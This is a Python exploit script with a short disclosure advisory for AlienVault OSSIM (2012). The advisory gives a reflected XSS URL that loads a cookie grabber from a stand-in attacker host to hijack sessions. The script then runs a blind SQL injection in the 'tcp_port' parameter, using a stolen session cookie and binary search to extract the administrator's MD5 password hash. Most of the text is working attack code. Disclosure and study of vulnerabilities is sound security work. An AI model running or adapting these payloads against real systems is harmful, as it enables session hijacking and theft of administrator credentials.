1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 |
#!/usr/bin/python ''' AlienVault has a reflected XSS vulnerability in the "url" parameter of "top.php". Proof of Concept: Enticing a logged in user to visit the following URL where an attacker is hosting an cookie grabber will allow for the hijacking of the user session: https://victim/ossim/top.php?option=3&soption=3&url=<script src=http://attacker/grabber.js></script> With a cookie captured and a session hijacked, the blind SQL injection vulnerability in the "tcp_port" parameter of "base_qry_main.php" can be exploited to extract the admin hash. Timeline: # 28 May 2012: Vulnerability reported to CERT # 30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012 # 23 Jul 2012: Update from CERT: No response from AlienVault # 23 Jul 2012: Public Disclosure Special Thanks to Tal Zeltzer When we access the vulnerable script at: https://victim/ossim/forensics/base_qry_main.php With an invalid sql statement in tcp_port[0][0] we see that there is an sql injection vulnerability [Todo]: Add here description on how we got the original query We concluded that since magic_quotes_gpc is enabled it will be difficult to obtain a shell quickly. We decided to take a different approach, we will modify the query in a way that it will only return rows If a specific field we are interested in has X as the Nth byte. To optimize the speed we used an algorithm called 'binary search' what we do is: (n being the Nth byte of the result string): - check if X equals n - If its not check if X is bigger than n - If its not, X is smaller than n We used this algorithm to extract data from files using the LOAD_FILE function We also used this algorithm to extract the admin MD5 hashed password ''' import sys,urllib2,urllib # Example # https://victim/ossim/forensics/base_qry_main.php?tcp_port[0][0]=1=1) and 2 = mid((select pass from ossim.users where login=0x61646d696e),1,1)--&tcp_port[0][1]=layer4_dport&tcp_port[0][2]==&tcp_port[0][3]=17500&tcp_port[0][4]= &tcp_port[0][5]= &tcp_flags[0]= &layer4=TCP&num_result_rows=-1¤t_view=-1&submit=QUERYDBP&sort_order=sig_a&clear_allcriteria=1&clear_criteria=time target = 'https://victim/ossim/forensics/base_qry_main.php' cookie = 'PHPSESSID=072af2ba52959b1602cc8fa864081d01' debug = False # # We use this function to output debug information if required # def debugOut(str, newLine = True): if debug == True: if newLine == True: print str else: print str, # # Injects the given sql-query and check if the results were 'True' or 'False' # def sendSql(query): global target, cookie # We use the cookie and the target variables as globals debugOut("Query: %s" % query) # Print the query we execute for debugging values = { 'tcp_port[0][0]': query, # This is our injection parameter 'tcp_port[0][1]': 'layer4_dport', 'tcp_port[0][2]': '=', 'tcp_port[0][3]': 17500, 'tcp_port[0][4]': ' ', 'tcp_port[0][5]': ' ', 'tcp_flags[0]': ' ', 'layer4': 'TCP', 'num_result_rows': -1, 'current_view': -1, 'submit': 'QUERYDBP', 'sort_order': 'sig_a', 'clear_allcriteria': 1, 'clear_criteria': 'time' } url = "%s?%s" % (target, urllib.urlencode(values))# Create the request url req = urllib2.Request(url)# Create a request for the specified url req.add_header('Cookie', cookie)# Add the cookie we stolen using XSS to identify ourselves try:# Exception handling response = urllib2.urlopen(req) # Send the request and save the response object except: # In-case of an exception print 'Failed to SQL inject'# Notify the user that there was an error sys.exit(-1)# Stop execution of our exploit data = response.read()# Read the response data # If the string 'No events...' is in not in our data the query is 'True' return('No events matching your search criteria have been found' not in data) # # This function enumerates the value of a single nibble out of the admin hash # It uses the "binary search" algorithm to narrow down the number of requests we send # def enumerateNibble(subQuery, location, iMin = 0x00, iMax = 0x0F): n = (iMin + iMax) / 2 # Get the middle of our range debugOut('Trying %d' % n, False)# Notify what value is we comparing the nibble to # Test if the current value equals the nibble if sendSql('1=1) and %s = cast(conv(mid(%s,%d,1), 16, 10) as unsigned integer)--' % (n, subQuery, location)) == True: debugOut('Equals!') # If it is, notify return(hex(n)[2:])# Return the hex representation of the nibble's value # Test if the current value is bigger than the nibble elif sendSql('1=1) and %s > cast(conv(mid(%s,%d,1),16,10) as unsigned integer)--' % (n, subQuery, location)) == True: debugOut('Bigger than') # If it is, notify return(enumerateNibble(subQuery, location, iMin, n - 1))# Use recursion to try again with the new reduced range else: # If the current value is smaller than the nibble debugOut('Smaller than')# If it is, notify return(enumerateNibble(subQuery, location, n + 1, iMax))# Use recursion to try again with the new reduced range # # Do the actual enumeration of the admin-hash # def enumerateAdminHash(): hash = '' # Initialize the 'hash' variable for i in range(1,33): # Iterate from 1 to 32 (the size of the md5 hash) # Append the nibble we enumerate from the given query # (This query retrives the administrator hash (obviously..) hash += str(enumerateNibble('(select pass from ossim.users where login=0x61646d696e)', i)) print 'At %d, So far: %s' % (i, hash) # Notify about our progress return(hash)# When done, return the hash we enumerated print "Trying to dump the administrator's hash" print "Note: If we get stuck or get invalid results it's probably due to an invalid session" hash = enumerateAdminHash() print "Administrator MD5 hash:" print "admin:%s" % hash |